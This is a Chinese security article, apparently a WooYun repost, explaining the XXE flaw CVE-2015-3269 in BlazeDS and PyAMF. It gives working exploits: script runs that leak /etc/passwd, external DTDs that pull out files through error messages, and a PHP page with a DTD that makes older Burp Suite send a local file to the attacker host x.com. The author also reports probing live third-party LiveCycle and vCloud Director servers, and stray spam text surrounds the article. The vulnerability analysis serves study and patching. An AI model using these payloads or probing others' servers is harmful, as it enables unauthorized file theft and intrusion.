<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/web/11623

                    0x00 來源


                    此文譯自http://www.agarri.fr/kom/archives/2015/12/17/amf_parsing_and_xxe/index.html、http://codewhitesec.blogspot.sg/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html,并做了適當的補充。 原作者(以下的“作者”或“原作者”均表示前一篇原始博文作者)最近在把弄兩個解析AMF(Action Message Format)的第三方庫:BlazeDS和PyAMF。這2個庫均受到XXE與SSRF漏洞的影響。作者發現自己所編寫的用于BlazeDS的利用代碼同樣可以用于PyAMF。

                    首先來看看一個時間軸:

                    0x01 CVE-2015-3269


                    該XXE漏洞影響了Apache Flex BlazeDS 4.7.1版本之前的所有版本,使用了這些版本的BlazeDS的軟件產品同樣也會受到牽連。這里對漏洞細節進行一些描述(來源http://codewhitesec.blogspot.sg/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html):

                    每一條AMF消息均包含一個消息頭與一個消息體。BlazeDS里的AmfMessageDeserializer提供了readBody()方法來解析消息體,在這個方法中,首先通過ActionMessageInput 的readUTF()依次取出targetURI與responseURI;隨后,通過ActionMessageInput 的readObject()來讀取隨后的實際內容。

                    AmfMessageDeserializer_readBody.java 部分代碼

                    #!java
                    /*     */   public void readBody(MessageBody body, int index)
                    /*     */     throws ClassNotFoundException, IOException
                    /*     */   {
                    /* 158 */     String targetURI = amfIn.readUTF();
                    /* 159 */     body.setTargetURI(targetURI);
                    /* 160 */     String responseURI = amfIn.readUTF();
                    /* 161 */     body.setResponseURI(responseURI);
                    /*     */     
                    /* 163 */     amfIn.readInt();
                    /*     */     
                    /* 165 */     amfIn.reset();
                    /*     */     
                    /*     */ 
                    /* 168 */     if (isDebug) {
                    /* 169 */       debugTrace.startMessage(targetURI, responseURI, index);
                    /*     */     }
                    /*     */     Object data;
                    /*     */     try {
                    /* 173 */       data = readObject();
                    /*     */     }
                    /*     */     catch (RecoverableSerializationException ex)
                    /*     */     {
                    /* 177 */       ex.setCode("Client.Message.Encoding");
                    /* 178 */       data = ex;
                    /*     */     }
                    /*     */     catch (MessageException ex)
                    /*     */     {
                    /* 182 */       ex.setCode("Client.Message.Encoding");
                    /* 183 */       throw ex;
                    /*     */     }
                    /*     */     
                    /* 186 */     body.setData(data);
                    /*     */     
                    /* 188 */     if (isDebug) {
                    /* 189 */       debugTrace.endMessage();
                    /*     */     }
                    /*     */   }
                    /*     */   
                    /*     */ 
                    /*     */ 
                    /*     */ 
                    /*     */   public Object readObject()
                    /*     */     throws ClassNotFoundException, IOException
                    /*     */   {
                    /* 199 */     return amfIn.readObject();
                    /*     */   }
                    /*     */ }
                    

                    readObject函數首先讀取接下來的一個字節,這個字節代表了即將讀取的數據類型,例如:15表示接下來要讀取的數據是XML。如果類型XML,那么接下來readXML函數就會被調用,如下代碼:

                    Amf0Input_readObjectValue.java

                    #!java
                    /*     */   public Object readObject()
                    /*     */     throws ClassNotFoundException, IOException
                    /*     */   {
                    /*  91 */     int type = in.readByte();
                    /*     */     
                    /*  93 */     Object value = readObjectValue(type);
                    /*  94 */     return value;
                    /*     */   }
                    /*     */   
                    /*     */   protected Object readObjectValue(int type) throws ClassNotFoundException, IOException
                    /*     */   {
                    /*  99 */     Object value = null;
                    /* 100 */     switch (type)
                    /*     */     {
                    /*     */     case 0: 
                    /* 103 */       value = Double.valueOf(readDouble());
                    /* 104 */       break;
                    /*     */     
                                ...
                    /*     */     
                    /*     */     case 15: 
                    /* 147 */       value = readXml();
                    /* 148 */       break;
                    /*     */     
                                ....
                    /*     */   protected Object readXml() throws IOException
                    /*     */   {
                    /* 511 */     String xml = readLongUTF();
                    /*     */     
                    /* 513 */     if (isDebug) {
                    /* 514 */       trace.write(xml);
                    /*     */     }
                    /* 516 */     return stringToDocument(xml);
                    /*     */   }
                    /*     */   
                    

                    可以看到如上代碼最后的readXML實現,xml被傳入至stringToDocument方法中,該方法屬于XMLUtil類。

                    XMLUtil_stringToDocument.java

                    #!java
                    /*     */ 
                    /*     */   public static Document stringToDocument(String xml, boolean nameSpaceAware)
                    /*     */   {
                    /* 116 */     ClassUtil.validateCreation(Document.class);
                    /*     */     
                    /* 118 */     Document document = null;
                    /*     */     try
                    /*     */     {
                    /* 121 */       if (xml != null)
                    /*     */       {
                    /* 123 */         StringReader reader = new StringReader(xml);
                    /* 124 */         InputSource input = new InputSource(reader);
                    /* 125 */         DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
                    /* 126 */         factory.setNamespaceAware(nameSpaceAware);
                    /* 127 */         factory.setValidating(false);
                    /* 128 */         DocumentBuilder builder = factory.newDocumentBuilder();
                    /*     */         
                    /* 130 */         document = builder.parse(input);
                    /*     */       }
                    /*     */     }
                    /*     */     catch (Exception ex)
                    /*     */     {
                    /* 135 */       throw new MessageException("Error deserializing XML type " + ex.getMessage());
                    /*     */     }
                    /*     */     
                    /* 138 */     return document;
                    /*     */   }
                    /*     */ }
                    

                    當DocumentBuilder由DocumentBuilderFactory所創建時,外部實體的解析默認情況下是被允許的,開發者需要自己去配置解析器以避免XXE漏洞:(factory.setExpandEntityReferences(false);)。由于上面的代碼并沒有禁止外部實體的解析,因而產生了XXE。相關可參考:http://security.tencent.com/index.php/blog/msg/69

                    0x02 漏洞利用之一(PyAMF)


                    以下的python腳本(http://www.agarri.fr/docs/amf_srv.py)將會運行一個在線解析AMF的服務,當然你需要安裝PyAMF模塊,你可以使用pip install pyamf來安裝,或者是從github獲取一份代碼(https://github.com/hydralabs/pyamf)后使用python setup.py install來安裝;Ubuntu下也可以用apt-get install python-pyamf。這里,所運行的PyAMF注冊了2個服務,其中一個是echo。首先用原作者所編寫好的amf_xxe.py來對所架設的PyAMF服務進行測試。

                    #!bash
                    $ ./amf_xxe.py http://192.168.22.201:8081/ echo internal
                    [+] Target URL: 'http://192.168.22.201:8081/'
                    [+] Target service: 'echo'
                    [+] Payload 'internal': '<!DOCTYPE x [ <!ENTITY foo "Some text"> ]><x>Internal entity: &foo;</x>'
                    [+] Sending the request...
                    [+] Response code: 200
                    [+] Body:
                    ........foobar/onResult..null......C<x>Internal entity: Some text</x>
                    [+] Done
                    

                    可以看到,常規的實體可以被成功解析,再進一步試試外部實體。

                    #!bash
                    $ ./amf_xxe.py http://192.168.22.201:8081/ echo ext_group
                    [+] Target URL: 'http://192.168.22.201:8081/'
                    [+] Target service: 'echo'
                    [+] Payload 'ext_group': '<!DOCTYPE x [ <!ENTITY foo SYSTEM "file:///etc/group"> ]><x>External entity 1: &foo;</x>'
                    [+] Sending the request...
                    [+] Response code: 200
                    [+] Body:
                    ........foobar/onResult..null.......i<x>External entity 1: root:x:0:
                    daemon:x:1:
                    bin:x:2:
                    [...]
                    xbot:x:1000:
                    </x>
                    [+] Done
                    

                    這說明PyAMF確實存在XXE漏洞,然而實際的生產環境中,我們卻很難找到一個接口,會將解析后的XML數據呈現在返回數據中。當然,我們也知道存在不需要回顯的XXE利用辦法,但是經過作者的測試發現:(1)遠程的URL被禁止使用;(2)沒有其它一些好用的URL協議;(3)使用了通用的報錯信息,使得我們并不能從報錯信息里獲得有用的信息。即便如此,用這個漏洞來進行拒絕服務還是可行的,例如通過訪問/dev/random

                    #!bash
                    $ ./amf_xxe.py http://192.168.22.201:8081/ wtf ext_rand
                    [+] Target URL: 'http://192.168.22.201:8081/'
                    [+] Target service: 'wtf'
                    [+] Payload 'ext_rand': '<!DOCTYPE x [ <!ENTITY foo SYSTEM "file:///dev/random"> ]><x>External entity 2: &foo;</x>'
                    [+] Sending the request...
                    [!] Connection OK, but a timeout was reached...
                    [+] Done
                    

                    0x03 漏洞利用之二 (跑在Java web服務上的BlazeDS)


                    lazeDS 在利用上比PyAMF要相對容易得多,這是因為:(1)我們可以使用一些java所支持的URL協議(比如http、ftp、jar)來對內部網絡進行刺探;同時在利用上,我們也可以調用外部的DTD文件;(2)錯誤信息詳細,會泄漏出相關的敏感信息;(3)java上的XXE允許通過file協議來進行列目錄,這樣十分有利于我們查找我們所感興趣的文件。與PyAMF一樣,我們利用的時候,并不需要知道這個AMF服務器到底注冊了哪些可用的服務。

                    為了方便測試,我們可以在本地搭建測試環境,首先從http://sourceforge.net/adobe/blazeds/wiki/download%20blazeds%204/這里去下載2011年版本的BlazeDS,原作者下載的是turnkey格式,下載完成解壓后,將解壓文件放入Tomcat的bin目錄中,然后執行startup.sh,然后你就可以通過http://127.0.0.1:8400/samples/messagebroker/amf來對BlazeDS進行訪問了。我自己所下載的是binary的格式,解壓后就是一個war包,自己部署一下,就可以訪問了。

                    部署完成后,就是通過利用腳本amf_xxe.py對服務進行測試,效果如下:

                    #!bash
                    $ ./amf_xxe.py http://127.0.0.1:8400/samples/messagebroker/amf  foo prm_url
                    [+] Target URL: 'http://127.0.0.1:8400/samples/messagebroker/amf'
                    [+] Target service: 'foo'
                    [+] Payload 'prm_url': '<!DOCTYPE x [ <!ENTITY % foo SYSTEM "http://somewhere/blazeds.dtd"> %foo; ]><x>Parameter entity 3</x>'
                    [+] Sending the request...
                    [+] Response code: 200
                    [+] Body:
                    ........foobar/onStatus.......
                    .Siflex.messaging.messages.ErrorMessage.headers.rootCause body.correlationId.faultDetail.faultString.clientId.timeToLive.destination.timestamp.extendedData.faultCode.messageId
                    ........[Error deserializing XML type no protocol: _://root:x:0:0:root:/root:/bin/bash
                    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
                    bin:x:2:2:bin:/bin:/bin/sh
                    sys:x:3:3:sys:/dev:/bin/sh
                    [...]
                    jetty:x:131:143::/usr/share/jetty:/bin/false
                    ............Bu......../Client.Message.Encoding.I707E4DB6-DB0B-6FED-EC4C-01259078D48B
                    [+] Done
                    

                    可以看到/etc/passwd文件內容被通過報錯信息爆出,作者所使用的利用代碼中調用了一個外部的DTD文件:http://somewhere/blazeds.dtd,其內容如下:

                    #!bash
                    <!ENTITY % yolo SYSTEM 'file:///etc/passwd'>
                    <!ENTITY % c "<!ENTITY &#37; rrr SYSTEM '_://%yolo;'>">
                    %c;
                    %rrr;
                    

                    外部DTD中,首先定義了一個參數實體%yolo;然后在參數實體中%c中對其進行了引用;在調用%rrr;時,由于rrr所調用的協議“_”并不被java所支持,導致報錯,整個URL全部出現在報錯信息中,/etc/passwd的內容就藏在其中。同樣,還可以用來讀取tomcat的日志:

                    #!bash
                    <!ENTITY % yolo SYSTEM 'file:///proc/self/cwd/../logs/catalina.YYYY-MM-DD.log'>
                    <!ENTITY % c "<!ENTITY &#37; rrr SYSTEM '_://%yolo;'>">
                    %c;
                    %rrr;
                    

                    0x04 漏洞利用之三 (使用了BlazeDS的軟件產品)


                    原作者在文中提到了,一些軟件產品中也使用了BlazeDS,這些產品如果沒有升級打補丁,同樣也會受到影響。這些軟件包括來自Adobe的ColdFusion 和 LiveCycle Data Services,Vmware的vCenter Server, vCloud Director 和Horizon View。為了對這一說法進行驗證,我搜索了一臺LiveCycle Data Services的服務器,如下圖:

                    p1

                    抓包得到amf的接口地址,使用利用腳本對該接口進行測試,結果如下圖所示:

                    p2

                    同樣,我又找到一臺Vmware的vCloud Director,同樣發現存在問題:

                    p3

                    0x05 漏洞利用之四(使用了BlazeDS的客戶端軟件)


                    大家常用的BurpSuite就是其中之一,躺槍!雖然最新版本的BurpSuite已經修復了此問題,但是大多數同學手中的版本可能并不是最新版本。根據原作者的說明,一起來看看這個漏洞的效果,由于我本機是windows,所以利用代碼是windows的。 首先,創建一個html文件.

                    #!html
                    <html><body>
                    Burp Suite + BlazeDS
                    <img src="http://x.com/test/amf_win.php" style="display:none"/>
                    </body></html>
                    

                    其中調用的amf_win.php內容如下,該代碼的作用就是輸出一個惡意構造的含有XML的AMF數據:

                    #!php
                    <?php
                    
                    function amf_exploit() {
                        $header = pack('H*','00030000000100036162630003646566000000ff0a000000010f');
                        $xml = '<!DOCTYPE x [ <!ENTITY % dtd SYSTEM "http://x.com/test/dyndtd_win.xml"> %dtd; ]><x/>';
                        $xml_sz = pack('N', strlen($xml));
                        return ($header . $xml_sz . $xml);  
                    }
                    
                    header('Content-Type: application/x-amf');
                    print(amf_exploit());
                    
                    ?>
                    

                    其中,調用的dyndtd_win.xml內容如下,目的就是讀取C盤下的testfile.txt,然后發送至我們的服務器x.com上:

                    #!xml
                    <!ENTITY % yolo SYSTEM 'file:///C:/testfile.txt'>
                    <!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'http://x.com/?%yolo;'>">
                    %c;
                    %rrr;
                    

                    接著,我們打開BurpSuite,訪問我們精心構造的頁面進行抓包。

                    p4

                    可以看到,我們打開fortest.html后,burp會訪問amf_win.php,在Wireshark中,我們可以看到我本機的C:\testfile.txt的內容this is a secret!被發送至服務器端。

                    0x06 額外


                    1. 對于BlazeDS,你可以通過 %foo; ]>Parameter entity 3的方法來快速暴露出其所在的程序路徑,接著就可以繼續通過前面所述的方法來進行目錄文件列舉,尋找我們感興趣的文件。如下圖所示:

                      p5

                    2. XXE讀取文件內容上的限制使得我們能讀取的敏感內容受到限制,具體如何利用該漏洞進行下一步,就看各自的發揮了。

                    3. 在一些對實際案例的測試(包括騰訊某服務器或是一些vCloud Director服務器)中發現,如果使用外部的DTD,一些服務器返回的錯誤信息是如下的樣子:

                      #!bash
                      [!] Connection OK, but a timeout was reached...
                      

                      造成這個錯誤信息的原因猜測可能是服務器禁止了外部資源的訪問。對于這些服務器,無法使用外部DTD,參數實體又只能在外部DTD中被引用,使得上述的報錯讀取文件的方法變得不可行。不過,通過XXE來進行拒絕服務可能是可行的,由于擔心對目標服務器造成不良影響,并未進行進一步的測試。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频